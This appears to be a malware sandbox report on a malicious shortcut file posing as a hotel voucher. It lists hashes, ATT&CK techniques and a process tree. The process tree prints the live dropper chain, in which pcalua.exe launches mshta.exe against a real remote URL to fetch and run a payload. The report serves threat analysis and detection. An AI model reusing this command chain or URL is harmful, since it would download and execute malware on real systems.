6f49ba5dc2f965658ba5364dd01a01fd6ded7143114660e5539a565e91b11b3a

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:47

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General

Target
ALVESHOTEL_VOUCHER--V77O6Y.lnk
Size 1KB
Sample260803-p1c67ayblb
SHA256 6f49ba5dc2f965658ba5364dd01a01fd6ded7143114660e5539a565e91b11b3a
MD5 2c92be8c4f8f5bbfffa9cc7a565ff4f3
SHA1 bf68e9a5b3154e9a296c991db3acd81f4f7965d7
SHA512 0eece250c5d266563287d44a61c4967bbc00596217ab535e726c9bbe0c6b854fa9db1f476bc37590e0083d7424fcf67fa1f9bbc61b71df690ef3e387a1c155e1
TLSH
T1E23171003EFA0624F3B79EB28077A71489BBB89A8E108B0E008006485063A00E57AFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4820	mshta.exe
4	4820	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4148	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 5488	4148	cmd.exe	90
PID 5488 wrote to memory of 4820	5488	pcalua.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ALVESHOTEL_VOUCHER--V77O6Y.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4148
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
    3⤵
    - Badlisted process makes network request
    PID:4820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads